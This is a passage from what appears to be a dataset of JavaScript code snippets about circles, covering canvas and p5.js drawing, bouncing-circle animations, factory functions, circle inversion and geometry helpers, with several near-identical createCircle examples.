radius).attr(\"cx\", x).attr(\"cy\", y); }","static createCircle(x, y, radius, numSides = -1) {\n return new Ellipse(x, y, radius, radius, numSides)\n }","function createCircle(radius){\n return{\n radius,\n draw (){\n console.log('draw');\n }\n };\n\n }","function OrthoganalCircle(theta,dTheta) {\n \n \tlet R = 1.0/cos(dTheta);\n this.r = abs(tan(dTheta));\n // this.x = R*cos(theta);\n // this.y = R*sin(theta);\n \t//endpoints\n \tthis.p1 = createVector(cos(theta-dTheta),sin(theta-dTheta));\n this.p2 = createVector(cos(theta+dTheta),sin(theta+dTheta));\n \n \tthis.center = createVector(R*cos(theta),R*sin(theta));\n \tthis.containsPoint = function(p){\n \t\n \treturn this.center.dist(p) < this.r;\n };\n \t\n \n \t/*\n \tCircle inversion. Swaps points inside the circle with points outside the circle. Like a refection in a line in hyperbolic space.\n */\n \tthis.invert = function(p){ \n \t\n \n \tlet op = this.center.dist(p);\n \n \tlet oq = this.r*this.r/op;\n \t\n \tlet dq = p5.Vector.sub(p,this.center).normalize().mult(oq);\n \t\n \treturn p5.Vector.add(this.center,dq);\n };\n \n \tthis.draw = function(graphics) {\n //Draw the arc\n let v1 = p5.Vector.sub(this.p1,this.center);\n let v2 = p5.Vector.sub(this.p2,this.center);\n \n let theta1 = v1.heading();\n let theta2 = v2.heading();\n \n let i = ii(this.center.x);\n let j = jj(this.center.y);\n \n graphics.arc(i,j, this.r*width,this.r*height ,theta2,theta1)\n }\n \n this.drawAnchors = function(graphics) {\n graphics.ellipse(ii(this.p1.x),jj(this.p1.y),4,4); \n graphics.ellipse(ii(this.p2.x),jj(this.p2.y),4,4); \n }\n}","_createRandomCircles2(options) {\n let { n, filled, stroke, colours, minRadius, maxRadius, acceleration, friction, dx, dy } = options;\n minRadius = minRadius ? minRadius : this.MIN_RADIUS;\n maxRadius = maxRadius ? maxRadius : this.MAX_RADIUS;\n dx = dx === undefined ? 2 : dx;\n dy = dy === undefined ? 10 : dy;\n\n for (let i = 0; i < n; i++) {\n const radius = randomIntFromRange(minRadius, maxRadius);\n const x = randomIntFromRange(radius, this.canvas.width - radius);\n const y = randomIntFromRange(0, this.canvas.height / 2);\n const colour = randomColour(colours);\n const dx_ = randomIntFromRange(-dx, dx);\n const dy_ = randomIntFromRange(-dy, dy);\n this.makeCircle({ x, y, dx: dx_, dy: dy_, colour, radius, filled, gravity: true, acceleration, friction, stroke })\n }\n\n }","constructor({colorCode, context, x, y, radius, percentFromCenter}) {\n this.circles = [];\n this.percentFromCenter = percentFromCenter;\n\n if (Math.abs(this.percentFromCenter) < 0.01) {\n this.circles.push(new ColorCircle({\n x: 0,\n y: 0,\n radius: radius,\n colorCode: new ColorCode({\n base: colorCode.getBase(),\n bits: colorCode.getBits(),\n red: colorCode.getComponent('R'),\n green: colorCode.getComponent('G'),\n blue: colorCode.getComponent('B')\n }),\n context\n }));\n }\n else {\n // Add red circle in bottom left position\n this.circles.push(new ColorCircle({\n x: x - radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * RT_3_OVER_2,\n y: y - radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * ONE_HALF,\n radius: radius,\n colorCode: new ColorCode({\n base: colorCode.getBase(),\n bits: colorCode.getBits(),\n red: colorCode.getComponent('R'),\n green: 0,\n blue: 0,\n }),\n context\n }));\n // Add green circle in top position\n this.circles.push(new ColorCircle({\n x: x,\n y: y + radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter,\n radius: radius,\n colorCode: new ColorCode({\n base: colorCode.getBase(),\n bits: colorCode.getBits(),\n red: 0,\n green: colorCode.getComponent('G'),\n blue: 0,\n }),\n context\n }));\n // Add blue circle in bottom right position\n this.circles.push(new ColorCircle({\n x: x + radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * RT_3_OVER_2,\n y: y - radius * MAX_CIRCLE_DIST_MULT * this.percentFromCenter * ONE_HALF,\n radius: radius,\n colorCode: new ColorCode({\n base: colorCode.getBase(),\n bits: colorCode.getBits(),\n red: 0,\n green: 0,\n blue: colorCode.getComponent('B'),\n }),\n context\n }));\n }\n }","function Circle(speed, width, xPos, yPos) {\n this.speed = speed\n this.width = width\n this.xPos = xPos\n this.yPos = yPos\n this.dx = Math.floor(Math.random() * 2) + 1\n this.dy = Math.floor(Math.random() * 2) + 1\n this.opacity = 0.05 + Math.random() * 0.5;\n this.isEaten = false\n this.color = colors[Math.floor(Math.random() * numColors - 1)]\n\n }","function Circle(x, y, dx, dy, radius) {\n this.x = x;\n this.y = y;\n // Step 4\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n // Step 8 Add Color\n this.colors = [\"#16a085\", \"#e74c3c\", \"#34495e\"];\n\n // Step 3 Add Draw Function\n this.draw = function() {\n c.beginPath();\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n // Step 8 Add Color\n c.strokeStyle = \"blue\";\n // c.strokeStyle = this.colors[Math.floor(Math.random() * 3)];\n c.stroke();\n // c.fillStyle = this.colors[Math.floor(Math.random() * 3)];\n };\n\n // Step 4 Update / Create Animation\n // Add dx, dy, radius\n this.update = function() {\n if (this.x + this.radius > innerWidth || this.x - this.radius < 0) {\n this.dx = -this.dx;\n }\n\n if (this.y + this.radius > innerHeight || this.y - this.radius < 0) {\n this.dy = -this.dy;\n }\n\n this.x += this.dx;\n this.y += this.dy;\n\n // Step 5 add draw\n this.draw();\n };\n}","function Circle(x, y, dx, dy, radius) {\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n \n // FUNCTION FOR DRAWING NEW CIRCLE\n this.draw = function() {\n context.beginPath();\n context.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n context.fillStyle = circleBodyColor;\n context.strokeStyle = circleLineColor;\n context.stroke();\n context.fill();\n }\n\n // FUNCTION WITH LOGIC FOR MOVEMENT OF THE CIRCLES\n this.update = function() {\n // MOVING CIRCLES LEFT AND RIGHT\n if (this.x + this.radius + 1 > innerWidth || this.x - this.radius < 0 ) {\n this.dx = -this.dx;\n }\n\n // MOVING CIRCLE UP AND DOWN\n if (this.y + this.radius + 1 > innerHeight || this.y - this.radius < 0) {\n this.dy = -this.dy;\n }\n this.x += this.dx;\n this.y += this.dy;\n \n // AFTER MOVEMENT IS UPDATED, DRAW EVERYTHING AGAIN\n this.draw();\n }\n}","function drawCircles() {\n canvasContext.fillStyle = 'white';\n canvasContext.fillRect(0, 0, xMax, yMax);\n\n for (let i = 0; i < particles.length; i++) {\n let r = particles[i].circleShape.radius;\n canvasContext.drawImage(\n particleImages[r],\n particles[i].position[0] - r + (xMax / 2),\n particles[i].position[1] - r + (yMax / 2)\n );\n }\n\n for (let i = 0; i < circles.length; i++) {\n canvasContext.save();\n\n canvasContext.lineWidth = LINE_WIDTH;\n canvasContext.strokeStyle = colors[i];\n\n canvasContext.beginPath();\n\n canvasContext.arc(\n circles[i].position[0] + (xMax / 2),\n circles[i].position[1] + (yMax / 2),\n circles[i].circleShape.radius,\n 0,\n Math.PI * 2\n );\n canvasContext.stroke();\n canvasContext.fill();\n\n canvasContext.restore();\n }\n }","function Circle(x, y, vx, vy, r, growth) {\n this.x = x;\n this.y = y;\n this.vx = vx;\n this.vy = vy;\n this.r = r;\n this.color = canvasColors[0];\n this.alpha = 1;\n\n this.draw = function() {\n contextCanvas.beginPath();\n contextCanvas.strokeStyle = this.color.replace('x', + this.alpha);\n contextCanvas.arc(this.x, this.y, this.r, Math.PI * 2, false);\n contextCanvas.lineWidth = 2;\n contextCanvas.stroke();\n contextCanvas.fillStyle = 'transparent';\n contextCanvas.fill();\n }\n\n this.update = function() {\n this.x += this.vx;\n this.y += this.vy;\n this.alpha -= 0.015;\n this.r += growth;\n this.draw();\n }\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log(\"draw\");\n },\n };\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log(\"draw\");\n },\n };\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log(\"draw\");\n }\n };\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log(\"draw\");\n }\n };\n}","constructor(x, y, radius) {\n super(createVector(x, y));\n this.x = x;\n this.y = y;\n this.radius = radius;\n this.setShape();\n this.fixtureType = \"circle\";\n\n }","function circlePoint(x, y, r, type, force, exceptions) {\n elipsePoint(x, y, r, r, type, force, exceptions);\n }","constructor(x, y, radius, color, xspeed, yspeed) {\n this.x = x;\n this.y = y;\n this.radius = radius;\n this.color = color;\n this.xspeed = xspeed;\n this.yspeed = yspeed;\n }","function Circle (x, y, dx, dy, radius) {\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n\n // Create a nameless function\n this.draw = function() {\n context.beginPath();\n // arc(x, y, radius: Int, startAngle: float, endAngle: float, drawCounterClockwise: bool)\n context.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n context.strokeStyle = ' #000000';\n //context.strokeStyle = '#'+Math.floor(Math.random()*16777215).toString(16);\n context. stroke();\n }\n\n this.update = function() {\n if( this.x + this.radius > innerWidth || this.x - this.radius < 0 ) {\n this.dx = -this.dx;\n }\n \n if( this.y + this.radius > innerHeight || this.y - this.radius < 0 ) {\n this.dy = -this.dy;\n }\n \n this.x += this.dx;\n this.y += this.dy;\n\n this.draw();\n }\n}","function calculateCircle(c1, c2, c3, properties, pathIndex, level)\n{\t\n\tcalCount++;\n\t\n\tvar k1 = properties.k1;\n\tvar k2 = properties.k2;\n\tvar k3 = properties.k3;\n\tvar k4 = properties.k4;\n\t\n\tvar z4 = mRC((1/k4), aCC(aCC(aCC(mRC(k1, c1._origin), mRC(k2, c2._origin)), mRC(k3, c3._origin)), mRC(2, sqrtC(aCC(aCC(mRC(k1*k2, mCC(c1._origin, c2._origin)), mRC(k2*k3, mCC(c2._origin, c3._origin))), mRC(k1*k3, mCC(c1._origin, c3._origin)))))));\n\tvar tangencyList = [c1, c2, c3];\n\tvar circ = new Circle(z4, 1/k4, c1.id + pathIndex, tangencyList, c1, level+1, \"#FFFFFF\", false);\n\t\n\treturn circ;\n}","function Circle(x,y,dx,dy,radius){\n //independent x&y values\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n\n//creating a method within an object to create a circle every time this function is called anonymous function\n this.draw = function() {\n //console.log('hello there');\n //arc //circle\n c.beginPath();\n c.arc(this.x, this.y, this.radius, 0, Math.PI*2, false);\n c.strokeStyle = 'pink';\n c.stroke();\n c.fill();\n}\n\nthis.update = function() {\n //moving circle by 1px --> x += 1;\n\n if(this.x + this.radius > innerWidth ||\n this.x - this.radius < 0){\n this. dx = -this.dx;\n }\n if(this.y + this.radius > innerHeight ||\n this.y - this.radius < 0){\n this.dy = -this.dy;\n }\n this.x += this.dx; \n this.y += this.dy;\n\n this.draw();\n }\n}","function Circle () {\n /**\n * Radius of circle\n * @type Ray3d\n */\n this.fRadius = 0.0;\n /**\n * Point of center\n * @type Float32Array\n */\n this.v2fCenter = null;\n\n switch (arguments.length) {\n case 0:\n this.v2fCenter = Vec2.create();\n break;\n case 1:\n this.v2fCenter = Vec2.create(arguments[0].v2fCenter);\n this.fRadius = arguments[0].fRadius;\n break;\n case 2:\n this.v2fCenter = Vec2.create(arguments[0]);\n this.fRadius = arguments[1];\n break;\n case 3:\n this.v2fCenter = Vec2.create();\n this.v2fCenter.X = arguments[0];\n this.v2fCenter.Y = arguments[1];\n this.fRadius = arguments[2];\n break;\n }\n ;\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log('draw');\n }\n };\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log('draw');\n }\n };\n}","function Circle(x, y, dx, dy, radius, color) {\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n this.color = color;\n\n\n this.draw = function(){\n c.beginPath();\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n c.fillStyle = this.color;\n c.fill();\n c.closePath();\n }\n\n\n//****movement and edges\n this.update = function(){\n if (this.x + this.radius > innerWidth || this.x - this.radius < 0){\n this.dx = -this.dx;\n }\n if (this.y + this.radius > innerHeight || this.y - this.radius < 0){\n this.dy = -this.dy;\n }\n this.x += this.dx;\n this.y += this.dy;\n\n this.draw();\n }\n}","function drawDonut() {\n for (let i = 0; i <= 360; i += angleStep) {\n let x = width * sin(i);\n let y = height * cos(i);\n let z = 0;\n let center = { x, y, z };\n circlesVertices.push(createCircleVertices(center, i, 1));\n }\n drawVertices();\n}","function drawTarget() {\n let circleSize = 400;\n \n //draw circles of decreasing size\n for (let i = 0; i < NUM_CIRC; i++) {\n ellipse(X_POS, Y_POS, circleSize, circleSize);\n circleSize -= 40;\n }\n}","function CircleMethods() {\n const origin = [0, 0];\n const pointA = [10, 20];\n const pointB = [20, 0];\n const pointC = [-15, -15];\n\n const radius = 20;\n\n const circleMethod1 = new makerjs.paths.Circle(radius);\n const circleMethod2 = new makerjs.paths.Circle(origin, radius);\n const circleMethod3 = new makerjs.paths.Circle(pointA, pointB);\n const circleMethod4 = new makerjs.paths.Circle(pointA, pointB, pointC);\n\n this.paths = {\n circleMethod1,\n circleMethod2,\n circleMethod3,\n circleMethod4,\n };\n}","function walkingCircle() {\n addCircle(150, \"green\");\n addCircle(300, \"blue\");\n addCircle(600, \"purple\");\n addCircle(searchRadius, \"black\");\n}","drawCircle () {\n const context = this.canvas.getContext('2d')\n const [x, y] = this.center\n const radius = this.size / 2\n\n for (let angle = 0; angle <= 360; angle++) {\n const startAngle = (angle - 2) * Math.PI / 180\n const endAngle = angle * Math.PI / 180\n context.beginPath()\n context.moveTo(x, y)\n context.arc(x, y, radius, startAngle, endAngle)\n context.closePath()\n context.fillStyle = 'hsl(' + angle + ', 100%, 50%)'\n context.fill()\n }\n }","function createCircle(radius){\n return {\n // radius <-----> radius = radius\n radius,\n draw(){\n console.log('draw');\n }\n };\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log(draw);\n }\n };\n}","function circle(a, b, x, r) {\n for (var i = 0; i < x; i++) {\n ctx.moveTo(r*a*Math.cos(i*2*Math.PI/x), r*b*Math.sin(i*2*Math.PI/x));\n ctx.lineTo(r*a*Math.cos((i+1)*2*Math.PI/x), r*b*Math.sin((i+1)*2*Math.PI/x));\n ctx.stroke();\n }\n }","drawCircle(ctx, _x_loc, _y_loc, _radius, _speed_vector){\n ctx.beginPath();\n ctx.arc(_x_loc, _y_loc, _radius, 0, 2*Math.PI);\n if (_speed_vector < 4)\n ctx.fillStyle = \"#B6FF33\";\n else if (_speed_vector < 8)\n ctx.fillStyle = \"#FF9900\";\n else{\n ctx.fillStyle = ctx.createPattern(document.getElementById(\"ball\"), \"repeat\");\n }\n ctx.fill();\n\n }","circle() {\n const context = GameState.current;\n\n Helper.strewnSprite(\n Helper.getMember(GroupPool.circle().members),\n { y: context.game.stage.height },\n { y: 2 },\n (sprite) => {\n this._tweenOfCircle(context, sprite);\n }\n );\n }","function createCircleAnimation(cords) {\n\tvar xy = cords.x + 'px ' + cords.y + 'px';\n\t$.keyframe.define([{\n\t\tname: 'circle-in',\n\t\tfrom: {'clip-path': 'circle( 0% at '+ xy + ')', '-webkit-clip-path': 'circle( 0% at '+ xy + ')', '-ms-clip-path': 'circle( 0% at '+ xy + ')'},\n\t\tto: {'clip-path': 'circle(120% at '+ xy + ')', '-webkit-clip-path': 'circle(120% at '+ xy + ')', '-ms-clip-path': 'circle(120% at '+ xy + ')'},\n\t}]);\n\t$.keyframe.define([{\n\t\tname: 'circle-out',\n\t\tfrom: {'clip-path': 'circle(120% at '+ xy + ')', '-webkit-clip-path': 'circle(120% at '+ xy + ')', '-ms-clip-path': 'circle(120% at '+ xy + ')'},\n\t\tto: {'clip-path': 'circle( 0% at '+ xy + ')', '-webkit-clip-path': 'circle( 0% at '+ xy + ')', '-ms-clip-path': 'circle( 0% at '+ xy + ')'},\n\t}]);\n}","function createCircle(radius) {\n return {\n radius,\n draw() {\n console.log(\"draw\");\n }\n };\n}","function Circle(x, y, dx, dy, radius, r, g, b) {\n this.x = x;\n this.y = y;\n this.dx = dx;\n this.dy = dy;\n this.radius = radius;\n this.minRadius = radius;\n this.r = r;\n this.g = g;\n this.b = b;\n this.color = colorArray[Math.floor(Math.random() * colorArray.length)]\n\n this.draw = function () {\n c.beginPath();\n c.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);\n // c.strokeStyle = `rgb(${r}, ${g}, ${b})`;\n // c.fillStyle = `rgb(${r}, ${g}, ${b})`;\n c.fillStyle = this.color\n // c.stroke();\n c.fill();\n }\n this.update = function () {\n if (this.x + this.radius > innerWidth || this.x - this.radius < 0) {\n this.dx = -this.dx;\n }\n if (this.y + this.radius > innerHeight || this.y - this.radius < 0) {\n this.dy = -this.dy;\n }\n this.x += this.dx;\n this.y += this.dy;\n\n\n //INTERACTIVITY portion\n if (mouse.x - this.x < 50 \n && mouse.x - this.x > -50\n && mouse.y - this.y < 50 \n && mouse.y - this.y > -50) {\n if (this.radius < maxRadius) {\n this.radius += 1;\n }\n } else if (this.radius > this.minRadius) {\n this.radius -= 1;\n }\n\n this.draw();\n }\n}","function circle(x,y,radius) { \n ctx.beginPath();\n ctx.arc(x, y, radius,0, 2*Math.PI);\n ctx.fill();\n ctx.stroke();\n}","function circlePath (pathX, pathY, x, y, r, s)\n{\n // Compute the number of steps given the speed\n let nSteps = 2 * Math.PI * r / s;\n // Clear the current path\n pathX.length = 0;\n pathY.length = 0;\n // Add points to the path uniformly along a circle\n for (let i = 0; i < nSteps; i ++)\n {\n pathX[i] = x + r * Math.sin(i * s / r);\n pathY[i] = y + r * Math.cos(i * s / r);\n }\n}","function shapes() {\n for (x = -1; x <= (width / 100) + 1; x++) {\n for (y = -1; y <= (height / 100) + 1; y++) {\n // Checks if the object is moving right or left\n if (posX) {\n // Checks if the object is moving up or down\n if (posY) {\n // Object creation in the Right and Down direction\n if (createCircles) {\n ellipse((x * 100) + w, (y * 100) + z, 50, 50);\n } else {\n rect((x * 100) + w, (y * 100) + z, 45, 45);\n }\n // The else of the up/down check\n } else {\n // Object creation in the right and Up direction\n if (createCircles) {\n ellipse((x * 100) + w, (y * 100) - z, 50, 50);\n } else {\n rect((x * 100) + w, (y * 100) - z, 45, 45);\n }\n }\n // The else of the right/left check\n } else {\n if (posY) {\n // Object creation in the left and Down direction\n if (createCircles) {\n ellipse((x * 100) - w, (y * 100) + z, 50, 50);\n } else {\n rect((x * 100) - w, (y * 100) + z, 45, 45);\n }\n } else {\n // Object creation in the left and Up direction\n if (createCircles) {\n ellipse((x * 100) - w, (y * 100) - z, 50, 50);\n } else {\n rect((x * 100) - w, (y * 100) - z, 45, 45);\n }\n }\n }\n }\n }\n}","animateCircles() {\n requestAnimationFrame(this.animateCircles.bind(this));\n this.clearCanvas();\n this.circles.forEach(circle => circle.update({\n mouse_x: this.mouse.x,\n mouse_y: this.mouse.y,\n range: this.mouse.range,\n particles: this.circles\n }));\n }","function drawCircle(x,y,radius,color)\r\n{\r\n\tdrawArc(x, y, radius, 0, Math.PI * 2, color);\r\n}","function createCircle(radius) {\n //Object Template\n const circle = {\n radius,\n draw() {\n console.log('Draw ' + radius);\n }\n }\n\n return circle;\n}","function generate_circles(){\n\t\t\tvar timerHasStarted = false; // reset the timer, don't start until after the circles are done being generated\n\t\t\tctx.clearRect(0, 0, window.innerWidth, window.innerHeight); // ensure no past canvas features are remaining\n\n\t\t\tright_circs = gen_right_centers()\n\t\t\tfor(var i=0; i < right_circs.length; i++){\n\t\t\t\t\tctx.beginPath();\n\t\t\t\t\tctx.arc(right_circs[i].x, right_circs[i].y, r2, 0 ,2*Math.PI);\n\t\t\t\t\tctx.fillStyle = trial.circle_color;\n\t\t\t\t\tctx.fill();\n\t\t\t\t\tctx.closePath();\n\t\t\t}\n\n\t\t\tleft_circs = gen_left_centers()\n\t\t\tfor(var i=0; i < left_circs.length; i++){\n\n\t\t\t\t\tctx.beginPath();\n\t\t\t\t\tctx.arc(left_circs[i].x, left_circs[i].y, r1, 0 ,2*Math.PI);\n\t\t\t\t\tctx.fillStyle = trial.circle_color;\n\t\t\t\t\tctx.fill();\n\t\t\t\t\tctx.closePath();\n\t\t\t}\n\n\t\t\tstartKeyboardListener();\n\t\t\tjsPsych.pluginAPI.setTimeout(function() {\n end_trial();\n \t\t}, trial.trial_duration);\n\t\t}","function circle2(x, y, r){\n for(let a=Math.random(); a<180; a+=1+Math.random()*0.1234){\n context.beginPath()\n context.moveTo(x, y)\n const xoff = Math.cos(a) * r + x\n const yoff = Math.sin(a) * r + y\n context.lineTo(xoff, yoff)\n context.stroke()\n }\n}","crearFormaDeTunelCircular(circleRadius = 10){\r\n\t\tvar shape = new THREE.Shape();\r\n\t\tshape.moveTo( circleRadius, 0 );\r\n\t\tshape.absarc( 0, 0, circleRadius, 0, 2 * Math.PI, false );\r\n\r\n\t\treturn shape;\r\n\t}","function circle(x, y, r) {\n\tctx.beginPath();\n\tctx.arc(x, y, r, 0, 6.28);\n\tctx.closePath();\n\tctx.fillStyle = \"peru\"\n\tctx.fill();\n}","function Circle(C, R = Math.random() * CANDY_START_RADIUS + CANDY_MIN_SIZE, M = CANDY_MASS, forcedString) {\n var newCircle = {\n C, // center\n I: 0, // inertia\n V: Vec2(M ? Math.random() * 1000 - 500 : 0, M ? Math.random() * -500 : 0), // velocity (speed)\n M, // inverseMass (0 if immobile)\n A: Vec2(0, M ? 250 : 0), // acceleration\n B: 0, //M ? Math.random() * 7 : 0, // angle? could start at random rotation\n D: 0, // angle velocity (stays on!)\n E: 0, // angle acceleration,\n R, // radius\n // random emojoi! works on most modern devices but not all\n //Z: String.fromCodePoint(0x1F600 + Math.random() * 69/*56*/ | 0)\n // random letter A-Z\n Z: forcedString || String.fromCharCode(65 + Math.floor(Math.random() * 26)),\n //color: \"rgba(\"+rndInt(0,255)+\",\"+rndInt(0,255)+\",\"+rndInt(0,255)+\",1)\" //0.25)\"\n color: \"rgba(\" + rndInt(64, 255) + \",\" + rndInt(64, 255) + \",\" + rndInt(64, 255) + \",1)\" //0.25)\"\n //I: M, // (here it's simplified as M) Inertia = mass * radius ^ 2. 12 is a magic constant that can be changed\n };\n objects.push(newCircle);\n return newCircle;\n }","function pointOnCircle(posX, posY, radius, angle) {\n const x = posX + radius * p5.cos(angle)\n const y = posY + radius * p5.sin(angle)\n return p5.createVector(x, y)\n}","move (circles) {\n circles.forEach((circle) => {\n if (circle !== this) {\n // detect collision with another circle\n if (calculateDistance(circle, this) <= circle.radius + this.radius) {\n this.changeDirectionX()\n this.changeDirectionY()\n }\n\n // draw the link between circles if in range\n if (calculateDistance(circle, this) <= circle.radius + this.radius + linkDistance) {\n drawLink(this, circle)\n }\n }\n })\n\n if (this.x + this.direction.dirX + this.radius >= width ||\n (this.x + this.direction.dirX) - this.radius <= 0) {\n this.changeDirectionX()\n }\n\n if (this.y + this.direction.dirY + this.radius >= height ||\n (this.y + this.direction.dirY) - this.radius <= 0) {\n this.changeDirectionY()\n }\n\n this.x += this.direction.dirX\n this.y += this.direction.dirY\n\n ctx.lineWidth = 3\n this.render(canvas, ctx)\n ctx.fill()\n }","function circle(args) {\n\t\tvar ctx = args[0];\n\t\tvar circeCenterX = args[1];\t// Centro del cerchio, coordinata X\n\t\tvar circeCenterY = args[2];\t// Centro del cerchio, coordinata Y\n\t\t\n\t\tvar colorCircle = args[3];\t// Colore del cerchio\n\t ctx.fillStyle = colorCircle;\n\t \n\t\tctx.beginPath();\n\t /*\n\t Parametri funzione .arc(x, y, r, sAngle, eAngle):\n\t - x: coordinata X del centro del cerchio\n\t - y: coordinata X del centro del cerchio;\n\t - r: raggio;\n\t - sAngle: angolo di inizio in radianti\n\t - eAngle: angolo di fine in radianti\n\t */\n\t ctx.arc(circeCenterX, circeCenterY, 2, 0, 2 * Math.PI);\n\t ctx.stroke();\n\t ctx.fill();\n\t}","function draw() {\n \n // Colouring the background\n background(220);\n\n // Changing the x and the y position\n xPosition = xPosition + xSpeed * xDirection;\n yPosition = yPosition + ySpeed * yDirection;\n\n // Changing the x direction so that it bounces off\n if (xPosition > width - radius || xPosition < radius) {\n xSpeed *= -1;\n }\n\n // Changing the y direction so that it bounces off\n if (yPosition > height - radius || yPosition < radius) {\n ySpeed *= -1;\n }\n\n // Creating the ellipse\n ellipse(xPosition, yPosition, radius, radius);\n\n}","function Circle(x,y,r, color) { //circle object\r\n this.x = x;\r\n this.y = y;\r\n this.r = r;\r\n this.color = color;\r\n}","function drawCircle(cArray){\n\t\tvar circles = arguments[0];\n\t\tfor(var i = 0; i < circles.length; i++){\n\t\t\t//画球\n\t\t\tctx.beginPath();\n\t\t\tctx.arc(circles[i].x,circles[i].y,circles[i].r,0,Math.PI*2,false);\n\t\t\tctx.fill();\n\t\t\t//球间连线\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(circles[0].x,circles[0].y);\n\t\t\tctx.lineTo(circles[i].x,circles[i].y);\n\t\t\t\n\t\t\tctx.stroke();\n\t\t}\n\t}","function SimpleCircle(scene, radius, track_point=null) {\n\n // general\n this.id = Nickel.UTILITY.assign_id();\n this.type = 'SimpleCircle';\n this.scene = scene;\n this.canvas = scene.canvas;\n this.context = this.canvas.getContext(\"2d\");\n\n // style\n this.stroke_width = 1;\n this.stroke_dash_length = 0;\n this.stroke_gap_length = 0;\n this.stroke_fill = null;\n this.stroke_color = null;\n\n // size\n this.radius = radius;\n\n // pos (initially hide the circle)\n this.cx = -radius;\n this.cy = -radius;\n\n // pos of extra point to be tracked\n // (helps with origin related computation)\n // (usually set to center of shape)\n this.tracker = track_point;\n\n // other\n this.dead = false;\n this.visibility = true;\n\n this.update = function() {\n //-- Called every frame.\n //-- Updates changing parameters.\n //--\n\n // skip if marked for deletion\n if (this.dead == true) {\n return;\n }\n\n // user custom update\n this.update_more();\n\n // render graphics\n this.draw();\n }\n\n this.draw = function() {\n //-- Called every frame. Processes graphics\n //-- based on current parameters.\n //--\n\n // skip if marked for invisibility\n if (this.visibility == false || this.dead == true) {\n return;\n }\n\n // skip if no stroke color\n if (!this.stroke_color) {\n return;\n }\n\n // draw\n var ctx = this.context;\n ctx.save();\n\n // stroke properties\n ctx.lineWidth = this.stroke_width;\n ctx.setLineDash([this.stroke_dash_length, this.stroke_gap_length]);\n ctx.fillStyle = this.stroke_fill;\n ctx.strokeStyle = this.stroke_color;\n\n // draw circle\n ctx.beginPath();\n // (params: cx, cy, radius, start_angle, end_angle, anticlockwise?)\n ctx.arc(this.cx,this.cy,this.radius,0,2*Math.PI,false);\n ctx.stroke();\n if (this.stroke_fill)\n ctx.fill();\n\n ctx.restore();\n }\n\n this.destroy = function() {\n //-- Marks current instance for deletion\n //--\n\n this.dead = true;\n this.visibility = false;\n }\n\n this.hide = function() {\n //-- Marks current instance's visibility to hidden\n //--\n\n this.visibility = false;\n }\n\n this.show = function() {\n //-- Marks current instance's visibility to shown\n //--\n\n this.visibility = true;\n }\n\n this.is_visible = function() {\n //-- Returns if self is visible\n //--\n\n return this.visibility;\n }\n\n this.update_more = function() {\n //-- Called in update. Meant to be over-ridden.\n //--\n\n }\n\n this.get_tracker = function() {\n //-- Returns track point\n //--\n\n return this.tracker;\n }\n\n this.set_tracker = function(track_point) {\n //-- Sets a new track point\n //--\n\n this.tracker = track_point;\n }\n\n this.get_center = function() {\n //-- Returns center of circle\n //--\n\n return [this.cx, this.cy];\n }\n\n this.set_center = function(new_center) {\n //-- Centers self onto a position\n //--\n\n if (this.tracker) {\n this.tracker[0] += new_center[0] - this.cx;\n this.tracker[1] += new_center[1] - this.cy;\n }\n\n this.cx = new_center[0];\n this.cy = new_center[1];\n }\n\n this.shift_pos = function(shiftx, shifty) {\n //-- Shifts center position\n //--\n\n this.cx += shiftx;\n this.cy += shifty;\n\n if (this.tracker) {\n this.tracker[0] += shiftx;\n this.tracker[1] += shifty;\n }\n }\n\n this.set_pos = function(point) {\n //-- Translates self where center point\n //-- is at the given point (proxy to 'set_center')\n //--\n\n this.set_center(point);\n }\n\n this.scale_around = function(scale, point) {\n //-- Scales x,y center position and radius\n //-- of self from/to a point\n //--\n\n this.scale_around2(scale, scale, scale, point);\n }\n\n this.scale_around2 = function(scalex, scaley, scaler, point) {\n //-- Scales x,y center position and radius\n //-- of self from/to a point\n //--\n\n this.cx = scalex * (this.cx - point[0]) + point[0];\n this.cy = scaley * (this.cy - point[1]) + point[1];\n this.radius *= scaler;\n\n if (this.tracker) {\n this.tracker[0] = scalex * (this.tracker[0] - point[0]) + point[0];\n this.tracker[1] = scaley * (this.tracker[1] - point[1]) + point[1];\n }\n }\n\n this.rotate_around = function(degrees, point) {\n //-- Applies a rotation transformation to centerpoint\n //--\n\n var radians = degrees*Math.PI/180*-1;\n\n var tmpx = this.cx - point[0];\n var tmpy = this.cy - point[1];\n this.cx = tmpx * Math.cos(radians) - tmpy * Math.sin(radians) + point[0];\n this.cy = tmpx * Math.sin(radians) + tmpy * Math.cos(radians) + point[1];\n\n if (this.tracker) {\n\n var tmpx = this.tracker[0] - point[0];\n var tmpy = this.tracker[1] - point[1];\n this.tracker[0] = tmpx * Math.cos(radians) - tmpy * Math.sin(radians) + point[0];\n this.tracker[1] = tmpx * Math.sin(radians) + tmpy * Math.cos(radians) + point[1];\n }\n }\n \n this.copy_base = function() {\n //-- Copies self using basic properties\n //--\n \n var new_tracker = [this.tracker[0], this.tracker[1]];\n var new_circle = new SimpleCircle(this.scene,this.radius,new_tracker);\n new_circle.set_center([this.cx, this.cy]);\n new_circle.stroke_width = this.stroke_width;\n new_circle.stroke_dash_length = this.stroke_dash_length;\n new_circle.stroke_gap_length = 